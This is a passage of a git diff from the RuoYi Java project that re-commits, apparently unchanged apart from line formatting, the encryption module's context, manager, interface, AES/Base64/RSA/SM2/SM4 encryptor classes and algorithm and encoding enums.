- private String publicKey; - - /** - * 私钥 - */ - private String privateKey; - - /** - * 编码方式,base64/hex - */ - private EncodeType encode; - -} +package org.dromara.common.encrypt.core; + +import lombok.Data; +import org.dromara.common.encrypt.enumd.AlgorithmType; +import org.dromara.common.encrypt.enumd.EncodeType; + +/** + * 加密上下文 用于encryptor传递必要的参数。 + * + * @author 老马 + * @version 4.6.0 + */ +@Data +public class EncryptContext { + + /** + * 默认算法 + */ + private AlgorithmType algorithm; + + /** + * 安全秘钥 + */ + private String password; + + /** + * 公钥 + */ + private String publicKey; + + /** + * 私钥 + */ + private String privateKey; + + /** + * 编码方式,base64/hex + */ + private EncodeType encode; + +} diff --git a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/core/EncryptorManager.java b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/core/EncryptorManager.java index b5f194d..0c8b73e 100644 --- a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/core/EncryptorManager.java +++ b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/core/EncryptorManager.java @@ -1,159 +1,159 @@ -package org.dromara.common.encrypt.core; - -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.util.ReflectUtil; -import lombok.NoArgsConstructor; -import lombok.extern.slf4j.Slf4j; -import org.apache.ibatis.io.Resources; -import org.dromara.common.core.utils.ObjectUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.encrypt.annotation.EncryptField; -import org.springframework.context.ConfigurableApplicationContext; -import org.springframework.core.io.Resource; -import org.springframework.core.io.support.PathMatchingResourcePatternResolver; -import org.springframework.core.io.support.ResourcePatternResolver; -import org.springframework.core.type.ClassMetadata; -import org.springframework.core.type.classreading.CachingMetadataReaderFactory; -import org.springframework.util.ClassUtils; - -import java.lang.reflect.Field; -import java.util.Arrays; -import java.util.HashSet; -import java.util.Map; -import java.util.Set; -import java.util.concurrent.ConcurrentHashMap; -import java.util.stream.Collectors; - -/** - * 加密管理类 - * - * @author 老马 - * @version 4.6.0 - */ -@Slf4j -@NoArgsConstructor -public class EncryptorManager { - - /** - * 缓存加密器 - */ - Map encryptorMap = new ConcurrentHashMap<>(); - - /** - * 类加密字段缓存 - */ - Map, Set> fieldCache = new ConcurrentHashMap<>(); - - /** - * 构造方法传入类加密字段缓存 - * - * @param typeAliasesPackage 实体类包 - */ - public EncryptorManager(String typeAliasesPackage) { - scanEncryptClasses(typeAliasesPackage); - } - - - /** - * 获取类加密字段缓存 - */ - public Set getFieldCache(Class sourceClazz) { - return ObjectUtils.notNullGetter(fieldCache, f -> f.get(sourceClazz)); - } - - /** - * 注册加密执行者到缓存 - * - * @param encryptContext 加密执行者需要的相关配置参数 - */ - public IEncryptor registAndGetEncryptor(EncryptContext encryptContext) { - int key = encryptContext.hashCode(); - if (encryptorMap.containsKey(key)) { - return encryptorMap.get(key); - } - IEncryptor encryptor = ReflectUtil.newInstance(encryptContext.getAlgorithm().getClazz(), encryptContext); - encryptorMap.put(key, encryptor); - return encryptor; - } - - /** - * 移除缓存中的加密执行者 - * - * @param encryptContext 加密执行者需要的相关配置参数 - */ - public void removeEncryptor(EncryptContext encryptContext) { - this.encryptorMap.remove(encryptContext.hashCode()); - } - - /** - * 根据配置进行加密。会进行本地缓存对应的算法和对应的秘钥信息。 - * - * @param value 待加密的值 - * @param encryptContext 加密相关的配置信息 - */ - public String encrypt(String value, EncryptContext encryptContext) { - IEncryptor encryptor = this.registAndGetEncryptor(encryptContext); - return encryptor.encrypt(value, encryptContext.getEncode()); - } - - /** - * 根据配置进行解密 - * - * @param value 待解密的值 - * @param encryptContext 加密相关的配置信息 - */ - public String decrypt(String value, EncryptContext encryptContext) { - IEncryptor encryptor = this.registAndGetEncryptor(encryptContext); - return encryptor.decrypt(value); - } - - /** - * 通过 typeAliasesPackage 设置的扫描包 扫描缓存实体 - */ - private void scanEncryptClasses(String typeAliasesPackage) { - PathMatchingResourcePatternResolver resolver = new PathMatchingResourcePatternResolver(); - CachingMetadataReaderFactory factory = new CachingMetadataReaderFactory(); - String[] packagePatternArray = StringUtils.splitPreserveAllTokens(typeAliasesPackage, ConfigurableApplicationContext.CONFIG_LOCATION_DELIMITERS); - String classpath = ResourcePatternResolver.CLASSPATH_ALL_URL_PREFIX; - try { - for (String packagePattern : packagePatternArray) { - String path = ClassUtils.convertClassNameToResourcePath(packagePattern); - Resource[] resources = resolver.getResources(classpath + path + "/*.class"); - for (Resource resource : resources) { - ClassMetadata classMetadata = factory.getMetadataReader(resource).getClassMetadata(); - Class clazz = Resources.classForName(classMetadata.getClassName()); - Set encryptFieldSet = getEncryptFieldSetFromClazz(clazz); - if (CollUtil.isNotEmpty(encryptFieldSet)) { - fieldCache.put(clazz, encryptFieldSet); - } - } - } - } catch (Exception e) { - log.error("初始化数据安全缓存时出错:{}", e.getMessage()); - } - } - - /** - * 获得一个类的加密字段集合 - */ - private Set getEncryptFieldSetFromClazz(Class clazz) { - Set fieldSet = new HashSet<>(); - // 判断clazz如果是接口,内部类,匿名类就直接返回 - if (clazz.isInterface() || clazz.isMemberClass() || clazz.isAnonymousClass()) { - return fieldSet; - } - while (clazz != null) { - Field[] fields = clazz.getDeclaredFields(); - fieldSet.addAll(Arrays.asList(fields)); - clazz = clazz.getSuperclass(); - } - fieldSet = fieldSet.stream().filter(field -> - field.isAnnotationPresent(EncryptField.class) && field.getType() == String.class) - .collect(Collectors.toSet()); - for (Field field : fieldSet) { - field.setAccessible(true); - } - return fieldSet; - } - -} +package org.dromara.common.encrypt.core; + +import cn.hutool.core.collection.CollUtil; +import cn.hutool.core.util.ReflectUtil; +import lombok.NoArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.apache.ibatis.io.Resources; +import org.dromara.common.core.utils.ObjectUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.encrypt.annotation.EncryptField; +import org.springframework.context.ConfigurableApplicationContext; +import org.springframework.core.io.Resource; +import org.springframework.core.io.support.PathMatchingResourcePatternResolver; +import org.springframework.core.io.support.ResourcePatternResolver; +import org.springframework.core.type.ClassMetadata; +import org.springframework.core.type.classreading.CachingMetadataReaderFactory; +import org.springframework.util.ClassUtils; + +import java.lang.reflect.Field; +import java.util.Arrays; +import java.util.HashSet; +import java.util.Map; +import java.util.Set; +import java.util.concurrent.ConcurrentHashMap; +import java.util.stream.Collectors; + +/** + * 加密管理类 + * + * @author 老马 + * @version 4.6.0 + */ +@Slf4j +@NoArgsConstructor +public class EncryptorManager { + + /** + * 缓存加密器 + */ + Map encryptorMap = new ConcurrentHashMap<>(); + + /** + * 类加密字段缓存 + */ + Map, Set> fieldCache = new ConcurrentHashMap<>(); + + /** + * 构造方法传入类加密字段缓存 + * + * @param typeAliasesPackage 实体类包 + */ + public EncryptorManager(String typeAliasesPackage) { + scanEncryptClasses(typeAliasesPackage); + } + + + /** + * 获取类加密字段缓存 + */ + public Set getFieldCache(Class sourceClazz) { + return ObjectUtils.notNullGetter(fieldCache, f -> f.get(sourceClazz)); + } + + /** + * 注册加密执行者到缓存 + * + * @param encryptContext 加密执行者需要的相关配置参数 + */ + public IEncryptor registAndGetEncryptor(EncryptContext encryptContext) { + int key = encryptContext.hashCode(); + if (encryptorMap.containsKey(key)) { + return encryptorMap.get(key); + } + IEncryptor encryptor = ReflectUtil.newInstance(encryptContext.getAlgorithm().getClazz(), encryptContext); + encryptorMap.put(key, encryptor); + return encryptor; + } + + /** + * 移除缓存中的加密执行者 + * + * @param encryptContext 加密执行者需要的相关配置参数 + */ + public void removeEncryptor(EncryptContext encryptContext) { + this.encryptorMap.remove(encryptContext.hashCode()); + } + + /** + * 根据配置进行加密。会进行本地缓存对应的算法和对应的秘钥信息。 + * + * @param value 待加密的值 + * @param encryptContext 加密相关的配置信息 + */ + public String encrypt(String value, EncryptContext encryptContext) { + IEncryptor encryptor = this.registAndGetEncryptor(encryptContext); + return encryptor.encrypt(value, encryptContext.getEncode()); + } + + /** + * 根据配置进行解密 + * + * @param value 待解密的值 + * @param encryptContext 加密相关的配置信息 + */ + public String decrypt(String value, EncryptContext encryptContext) { + IEncryptor encryptor = this.registAndGetEncryptor(encryptContext); + return encryptor.decrypt(value); + } + + /** + * 通过 typeAliasesPackage 设置的扫描包 扫描缓存实体 + */ + private void scanEncryptClasses(String typeAliasesPackage) { + PathMatchingResourcePatternResolver resolver = new PathMatchingResourcePatternResolver(); + CachingMetadataReaderFactory factory = new CachingMetadataReaderFactory(); + String[] packagePatternArray = StringUtils.splitPreserveAllTokens(typeAliasesPackage, ConfigurableApplicationContext.CONFIG_LOCATION_DELIMITERS); + String classpath = ResourcePatternResolver.CLASSPATH_ALL_URL_PREFIX; + try { + for (String packagePattern : packagePatternArray) { + String path = ClassUtils.convertClassNameToResourcePath(packagePattern); + Resource[] resources = resolver.getResources(classpath + path + "/*.class"); + for (Resource resource : resources) { + ClassMetadata classMetadata = factory.getMetadataReader(resource).getClassMetadata(); + Class clazz = Resources.classForName(classMetadata.getClassName()); + Set encryptFieldSet = getEncryptFieldSetFromClazz(clazz); + if (CollUtil.isNotEmpty(encryptFieldSet)) { + fieldCache.put(clazz, encryptFieldSet); + } + } + } + } catch (Exception e) { + log.error("初始化数据安全缓存时出错:{}", e.getMessage()); + } + } + + /** + * 获得一个类的加密字段集合 + */ + private Set getEncryptFieldSetFromClazz(Class clazz) { + Set fieldSet = new HashSet<>(); + // 判断clazz如果是接口,内部类,匿名类就直接返回 + if (clazz.isInterface() || clazz.isMemberClass() || clazz.isAnonymousClass()) { + return fieldSet; + } + while (clazz != null) { + Field[] fields = clazz.getDeclaredFields(); + fieldSet.addAll(Arrays.asList(fields)); + clazz = clazz.getSuperclass(); + } + fieldSet = fieldSet.stream().filter(field -> + field.isAnnotationPresent(EncryptField.class) && field.getType() == String.class) + .collect(Collectors.toSet()); + for (Field field : fieldSet) { + field.setAccessible(true); + } + return fieldSet; + } + +} diff --git a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/core/IEncryptor.java b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/core/IEncryptor.java index dbc4420..85c1061 100644 --- a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/core/IEncryptor.java +++ b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/core/IEncryptor.java @@ -1,35 +1,35 @@ -package org.dromara.common.encrypt.core; - -import org.dromara.common.encrypt.enumd.AlgorithmType; -import org.dromara.common.encrypt.enumd.EncodeType; - -/** - * 加解者 - * - * @author 老马 - * @version 4.6.0 - */ -public interface IEncryptor { - - /** - * 获得当前算法 - */ - AlgorithmType algorithm(); - - /** - * 加密 - * - * @param value 待加密字符串 - * @param encodeType 加密后的编码格式 - * @return 加密后的字符串 - */ - String encrypt(String value, EncodeType encodeType); - - /** - * 解密 - * - * @param value 待加密字符串 - * @return 解密后的字符串 - */ - String decrypt(String value); -} +package org.dromara.common.encrypt.core; + +import org.dromara.common.encrypt.enumd.AlgorithmType; +import org.dromara.common.encrypt.enumd.EncodeType; + +/** + * 加解者 + * + * @author 老马 + * @version 4.6.0 + */ +public interface IEncryptor { + + /** + * 获得当前算法 + */ + AlgorithmType algorithm(); + + /** + * 加密 + * + * @param value 待加密字符串 + * @param encodeType 加密后的编码格式 + * @return 加密后的字符串 + */ + String encrypt(String value, EncodeType encodeType); + + /** + * 解密 + * + * @param value 待加密字符串 + * @return 解密后的字符串 + */ + String decrypt(String value); +} diff --git a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/core/encryptor/AbstractEncryptor.java b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/core/encryptor/AbstractEncryptor.java index 858d229..e4e91f0 100644 --- a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/core/encryptor/AbstractEncryptor.java +++ b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/core/encryptor/AbstractEncryptor.java @@ -1,18 +1,18 @@ -package org.dromara.common.encrypt.core.encryptor; - -import org.dromara.common.encrypt.core.EncryptContext; -import org.dromara.common.encrypt.core.IEncryptor; - -/** - * 所有加密执行者的基类 - * - * @author 老马 - * @version 4.6.0 - */ -public abstract class AbstractEncryptor implements IEncryptor { - - public AbstractEncryptor(EncryptContext context) { - // 用户配置校验与配置注入 - } - -} +package org.dromara.common.encrypt.core.encryptor; + +import org.dromara.common.encrypt.core.EncryptContext; +import org.dromara.common.encrypt.core.IEncryptor; + +/** + * 所有加密执行者的基类 + * + * @author 老马 + * @version 4.6.0 + */ +public abstract class AbstractEncryptor implements IEncryptor { + + public AbstractEncryptor(EncryptContext context) { + // 用户配置校验与配置注入 + } + +} diff --git a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/core/encryptor/AesEncryptor.java b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/core/encryptor/AesEncryptor.java index e4dc597..fdff209 100644 --- a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/core/encryptor/AesEncryptor.java +++ b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/core/encryptor/AesEncryptor.java @@ -1,55 +1,55 @@ -package org.dromara.common.encrypt.core.encryptor; - -import org.dromara.common.encrypt.core.EncryptContext; -import org.dromara.common.encrypt.enumd.AlgorithmType; -import org.dromara.common.encrypt.enumd.EncodeType; -import org.dromara.common.encrypt.utils.EncryptUtils; - -/** - * AES算法实现 - * - * @author 老马 - * @version 4.6.0 - */ -public class AesEncryptor extends AbstractEncryptor { - - private final EncryptContext context; - - public AesEncryptor(EncryptContext context) { - super(context); - this.context = context; - } - - /** - * 获得当前算法 - */ - @Override - public AlgorithmType algorithm() { - return AlgorithmType.AES; - } - - /** - * 加密 - * - * @param value 待加密字符串 - * @param encodeType 加密后的编码格式 - */ - @Override - public String encrypt(String value, EncodeType encodeType) { - if (encodeType == EncodeType.HEX) { - return EncryptUtils.encryptByAesHex(value, context.getPassword()); - } else { - return EncryptUtils.encryptByAes(value, context.getPassword()); - } - } - - /** - * 解密 - * - * @param value 待加密字符串 - */ - @Override - public String decrypt(String value) { - return EncryptUtils.decryptByAes(value, context.getPassword()); - } -} +package org.dromara.common.encrypt.core.encryptor; + +import org.dromara.common.encrypt.core.EncryptContext; +import org.dromara.common.encrypt.enumd.AlgorithmType; +import org.dromara.common.encrypt.enumd.EncodeType; +import org.dromara.common.encrypt.utils.EncryptUtils; + +/** + * AES算法实现 + * + * @author 老马 + * @version 4.6.0 + */ +public class AesEncryptor extends AbstractEncryptor { + + private final EncryptContext context; + + public AesEncryptor(EncryptContext context) { + super(context); + this.context = context; + } + + /** + * 获得当前算法 + */ + @Override + public AlgorithmType algorithm() { + return AlgorithmType.AES; + } + + /** + * 加密 + * + * @param value 待加密字符串 + * @param encodeType 加密后的编码格式 + */ + @Override + public String encrypt(String value, EncodeType encodeType) { + if (encodeType == EncodeType.HEX) { + return EncryptUtils.encryptByAesHex(value, context.getPassword()); + } else { + return EncryptUtils.encryptByAes(value, context.getPassword()); + } + } + + /** + * 解密 + * + * @param value 待加密字符串 + */ + @Override + public String decrypt(String value) { + return EncryptUtils.decryptByAes(value, context.getPassword()); + } +} diff --git a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/core/encryptor/Base64Encryptor.java b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/core/encryptor/Base64Encryptor.java index 0028548..3195d5f 100644 --- a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/core/encryptor/Base64Encryptor.java +++ b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/core/encryptor/Base64Encryptor.java @@ -1,48 +1,48 @@ -package org.dromara.common.encrypt.core.encryptor; - -import org.dromara.common.encrypt.core.EncryptContext; -import org.dromara.common.encrypt.enumd.AlgorithmType; -import org.dromara.common.encrypt.enumd.EncodeType; -import org.dromara.common.encrypt.utils.EncryptUtils; - -/** - * Base64算法实现 - * - * @author 老马 - * @version 4.6.0 - */ -public class Base64Encryptor extends AbstractEncryptor { - - public Base64Encryptor(EncryptContext context) { - super(context); - } - - /** - * 获得当前算法 - */ - @Override - public AlgorithmType algorithm() { - return AlgorithmType.BASE64; - } - - /** - * 加密 - * - * @param value 待加密字符串 - * @param encodeType 加密后的编码格式 - */ - @Override - public String encrypt(String value, EncodeType encodeType) { - return EncryptUtils.encryptByBase64(value); - } - - /** - * 解密 - * - * @param value 待加密字符串 - */ - @Override - public String decrypt(String value) { - return EncryptUtils.decryptByBase64(value); - } -} +package org.dromara.common.encrypt.core.encryptor; + +import org.dromara.common.encrypt.core.EncryptContext; +import org.dromara.common.encrypt.enumd.AlgorithmType; +import org.dromara.common.encrypt.enumd.EncodeType; +import org.dromara.common.encrypt.utils.EncryptUtils; + +/** + * Base64算法实现 + * + * @author 老马 + * @version 4.6.0 + */ +public class Base64Encryptor extends AbstractEncryptor { + + public Base64Encryptor(EncryptContext context) { + super(context); + } + + /** + * 获得当前算法 + */ + @Override + public AlgorithmType algorithm() { + return AlgorithmType.BASE64; + } + + /** + * 加密 + * + * @param value 待加密字符串 + * @param encodeType 加密后的编码格式 + */ + @Override + public String encrypt(String value, EncodeType encodeType) { + return EncryptUtils.encryptByBase64(value); + } + + /** + * 解密 + * + * @param value 待加密字符串 + */ + @Override + public String decrypt(String value) { + return EncryptUtils.decryptByBase64(value); + } +} diff --git a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/core/encryptor/RsaEncryptor.java b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/core/encryptor/RsaEncryptor.java index 5f03a4b..bcdba9d 100644 --- a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/core/encryptor/RsaEncryptor.java +++ b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/core/encryptor/RsaEncryptor.java @@ -1,62 +1,62 @@ -package org.dromara.common.encrypt.core.encryptor; - -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.encrypt.core.EncryptContext; -import org.dromara.common.encrypt.enumd.AlgorithmType; -import org.dromara.common.encrypt.enumd.EncodeType; -import org.dromara.common.encrypt.utils.EncryptUtils; - - -/** - * RSA算法实现 - * - * @author 老马 - * @version 4.6.0 - */ -public class RsaEncryptor extends AbstractEncryptor { - - private final EncryptContext context; - - public RsaEncryptor(EncryptContext context) { - super(context); - String privateKey = context.getPrivateKey(); - String publicKey = context.getPublicKey(); - if (StringUtils.isAnyEmpty(privateKey, publicKey)) { - throw new IllegalArgumentException("RSA公私钥均需要提供,公钥加密,私钥解密。"); - } - this.context = context; - } - - /** - * 获得当前算法 - */ - @Override - public AlgorithmType algorithm() { - return AlgorithmType.RSA; - } - - /** - * 加密 - * - * @param value 待加密字符串 - * @param encodeType 加密后的编码格式 - */ - @Override - public String encrypt(String value, EncodeType encodeType) { - if (encodeType == EncodeType.HEX) { - return EncryptUtils.encryptByRsaHex(value, context.getPublicKey()); - } else { - return EncryptUtils.encryptByRsa(value, context.getPublicKey()); - } - } - - /** - * 解密 - * - * @param value 待加密字符串 - */ - @Override - public String decrypt(String value) { - return EncryptUtils.decryptByRsa(value, context.getPrivateKey()); - } -} +package org.dromara.common.encrypt.core.encryptor; + +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.encrypt.core.EncryptContext; +import org.dromara.common.encrypt.enumd.AlgorithmType; +import org.dromara.common.encrypt.enumd.EncodeType; +import org.dromara.common.encrypt.utils.EncryptUtils; + + +/** + * RSA算法实现 + * + * @author 老马 + * @version 4.6.0 + */ +public class RsaEncryptor extends AbstractEncryptor { + + private final EncryptContext context; + + public RsaEncryptor(EncryptContext context) { + super(context); + String privateKey = context.getPrivateKey(); + String publicKey = context.getPublicKey(); + if (StringUtils.isAnyEmpty(privateKey, publicKey)) { + throw new IllegalArgumentException("RSA公私钥均需要提供,公钥加密,私钥解密。"); + } + this.context = context; + } + + /** + * 获得当前算法 + */ + @Override + public AlgorithmType algorithm() { + return AlgorithmType.RSA; + } + + /** + * 加密 + * + * @param value 待加密字符串 + * @param encodeType 加密后的编码格式 + */ + @Override + public String encrypt(String value, EncodeType encodeType) { + if (encodeType == EncodeType.HEX) { + return EncryptUtils.encryptByRsaHex(value, context.getPublicKey()); + } else { + return EncryptUtils.encryptByRsa(value, context.getPublicKey()); + } + } + + /** + * 解密 + * + * @param value 待加密字符串 + */ + @Override + public String decrypt(String value) { + return EncryptUtils.decryptByRsa(value, context.getPrivateKey()); + } +} diff --git a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/core/encryptor/Sm2Encryptor.java b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/core/encryptor/Sm2Encryptor.java index aec5d82..33f9316 100644 --- a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/core/encryptor/Sm2Encryptor.java +++ b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/core/encryptor/Sm2Encryptor.java @@ -1,61 +1,61 @@ -package org.dromara.common.encrypt.core.encryptor; - -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.encrypt.core.EncryptContext; -import org.dromara.common.encrypt.enumd.AlgorithmType; -import org.dromara.common.encrypt.enumd.EncodeType; -import org.dromara.common.encrypt.utils.EncryptUtils; - -/** - * sm2算法实现 - * - * @author 老马 - * @version 4.6.0 - */ -public class Sm2Encryptor extends AbstractEncryptor { - - private final EncryptContext context; - - public Sm2Encryptor(EncryptContext context) { - super(context); - String privateKey = context.getPrivateKey(); - String publicKey = context.getPublicKey(); - if (StringUtils.isAnyEmpty(privateKey, publicKey)) { - throw new IllegalArgumentException("SM2公私钥均需要提供,公钥加密,私钥解密。"); - } - this.context = context; - } - - /** - * 获得当前算法 - */ - @Override - public AlgorithmType algorithm() { - return AlgorithmType.SM2; - } - - /** - * 加密 - * - * @param value 待加密字符串 - * @param encodeType 加密后的编码格式 - */ - @Override - public String encrypt(String value, EncodeType encodeType) { - if (encodeType == EncodeType.HEX) { - return EncryptUtils.encryptBySm2Hex(value, context.getPublicKey()); - } else { - return EncryptUtils.encryptBySm2(value, context.getPublicKey()); - } - } - - /** - * 解密 - * - * @param value 待加密字符串 - */ - @Override - public String decrypt(String value) { - return EncryptUtils.decryptBySm2(value, context.getPrivateKey()); - } -} +package org.dromara.common.encrypt.core.encryptor; + +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.encrypt.core.EncryptContext; +import org.dromara.common.encrypt.enumd.AlgorithmType; +import org.dromara.common.encrypt.enumd.EncodeType; +import org.dromara.common.encrypt.utils.EncryptUtils; + +/** + * sm2算法实现 + * + * @author 老马 + * @version 4.6.0 + */ +public class Sm2Encryptor extends AbstractEncryptor { + + private final EncryptContext context; + + public Sm2Encryptor(EncryptContext context) { + super(context); + String privateKey = context.getPrivateKey(); + String publicKey = context.getPublicKey(); + if (StringUtils.isAnyEmpty(privateKey, publicKey)) { + throw new IllegalArgumentException("SM2公私钥均需要提供,公钥加密,私钥解密。"); + } + this.context = context; + } + + /** + * 获得当前算法 + */ + @Override + public AlgorithmType algorithm() { + return AlgorithmType.SM2; + } + + /** + * 加密 + * + * @param value 待加密字符串 + * @param encodeType 加密后的编码格式 + */ + @Override + public String encrypt(String value, EncodeType encodeType) { + if (encodeType == EncodeType.HEX) { + return EncryptUtils.encryptBySm2Hex(value, context.getPublicKey()); + } else { + return EncryptUtils.encryptBySm2(value, context.getPublicKey()); + } + } + + /** + * 解密 + * + * @param value 待加密字符串 + */ + @Override + public String decrypt(String value) { + return EncryptUtils.decryptBySm2(value, context.getPrivateKey()); + } +} diff --git a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/core/encryptor/Sm4Encryptor.java b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/core/encryptor/Sm4Encryptor.java index adaf674..4944646 100644 --- a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/core/encryptor/Sm4Encryptor.java +++ b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/core/encryptor/Sm4Encryptor.java @@ -1,55 +1,55 @@ -package org.dromara.common.encrypt.core.encryptor; - -import org.dromara.common.encrypt.core.EncryptContext; -import org.dromara.common.encrypt.enumd.AlgorithmType; -import org.dromara.common.encrypt.enumd.EncodeType; -import org.dromara.common.encrypt.utils.EncryptUtils; - -/** - * sm4算法实现 - * - * @author 老马 - * @version 4.6.0 - */ -public class Sm4Encryptor extends AbstractEncryptor { - - private final EncryptContext context; - - public Sm4Encryptor(EncryptContext context) { - super(context); - this.context = context; - } - - /** - * 获得当前算法 - */ - @Override - public AlgorithmType algorithm() { - return AlgorithmType.SM4; - } - - /** - * 加密 - * - * @param value 待加密字符串 - * @param encodeType 加密后的编码格式 - */ - @Override - public String encrypt(String value, EncodeType encodeType) { - if (encodeType == EncodeType.HEX) { - return EncryptUtils.encryptBySm4Hex(value, context.getPassword()); - } else { - return EncryptUtils.encryptBySm4(value, context.getPassword()); - } - } - - /** - * 解密 - * - * @param value 待加密字符串 - */ - @Override - public String decrypt(String value) { - return EncryptUtils.decryptBySm4(value, context.getPassword()); - } -} +package org.dromara.common.encrypt.core.encryptor; + +import org.dromara.common.encrypt.core.EncryptContext; +import org.dromara.common.encrypt.enumd.AlgorithmType; +import org.dromara.common.encrypt.enumd.EncodeType; +import org.dromara.common.encrypt.utils.EncryptUtils; + +/** + * sm4算法实现 + * + * @author 老马 + * @version 4.6.0 + */ +public class Sm4Encryptor extends AbstractEncryptor { + + private final EncryptContext context; + + public Sm4Encryptor(EncryptContext context) { + super(context); + this.context = context; + } + + /** + * 获得当前算法 + */ + @Override + public AlgorithmType algorithm() { + return AlgorithmType.SM4; + } + + /** + * 加密 + * + * @param value 待加密字符串 + * @param encodeType 加密后的编码格式 + */ + @Override + public String encrypt(String value, EncodeType encodeType) { + if (encodeType == EncodeType.HEX) { + return EncryptUtils.encryptBySm4Hex(value, context.getPassword()); + } else { + return EncryptUtils.encryptBySm4(value, context.getPassword()); + } + } + + /** + * 解密 + * + * @param value 待加密字符串 + */ + @Override + public String decrypt(String value) { + return EncryptUtils.decryptBySm4(value, context.getPassword()); + } +} diff --git a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/enumd/AlgorithmType.java b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/enumd/AlgorithmType.java index 26ee1ee..ec6c719 100644 --- a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/enumd/AlgorithmType.java +++ b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/enumd/AlgorithmType.java @@ -1,48 +1,48 @@ -package org.dromara.common.encrypt.enumd; - -import lombok.AllArgsConstructor; -import lombok.Getter; -import org.dromara.common.encrypt.core.encryptor.*; - -/** - * 算法名称 - * - * @author 老马 - * @version 4.6.0 - */ -@Getter -@AllArgsConstructor -public enum AlgorithmType { - - /** - * 默认走yml配置 - */ - DEFAULT(null), - - /** - * base64 - */ - BASE64(Base64Encryptor.class), - - /** - * aes - */ - AES(AesEncryptor.class), - - /** - * rsa - */ - RSA(RsaEncryptor.class), - - /** - * sm2 - */ - SM2(Sm2Encryptor.class), - - /** - * sm4 - */ - SM4(Sm4Encryptor.class); - - private final Class clazz; -} +package org.dromara.common.encrypt.enumd; + +import lombok.AllArgsConstructor; +import lombok.Getter; +import org.dromara.common.encrypt.core.encryptor.*; + +/** + * 算法名称 + * + * @author 老马 + * @version 4.6.0 + */ +@Getter +@AllArgsConstructor +public enum AlgorithmType { + + /** + * 默认走yml配置 + */ + DEFAULT(null), + + /** + * base64 + */ + BASE64(Base64Encryptor.class), + + /** + * aes + */ + AES(AesEncryptor.class), + + /** + * rsa + */ + RSA(RsaEncryptor.class), + + /** + * sm2 + */ + SM2(Sm2Encryptor.class), + + /** + * sm4 + */ + SM4(Sm4Encryptor.class); + + private final Class clazz; +} diff --git a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/enumd/EncodeType.java b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/enumd/EncodeType.java index f471221..9afe2cd 100644 --- a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/enumd/EncodeType.java +++ b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/enumd/EncodeType.java @@ -1,26 +1,26 @@ -package org.dromara.common.encrypt.enumd; - -/** - * 编码类型 - * - * @author 老马 - * @version 4.6.0 - */ -public enum EncodeType { - - /** - * 默认使用yml配置 - */ - DEFAULT, - - /** - * base64编码 - */ - BASE64, - - /** - * 16进制编码 - */ - HEX; - -} +package org.dromara.common.encrypt.enumd; + +/** + * 编码类型 + * + * @author 老马 + * @version 4.6.0 + */ +public enum EncodeType { + + /** + * 默认使用yml配置 + */ + DEFAULT, + + /** + * base64编码 + */ + BASE64, + + /** + * 16进制编码 + */ + HEX; + +} diff --git a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/filter/CryptoFilter.java b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/filter/CryptoFilter.java index 79d58da..3585285 100644 --- 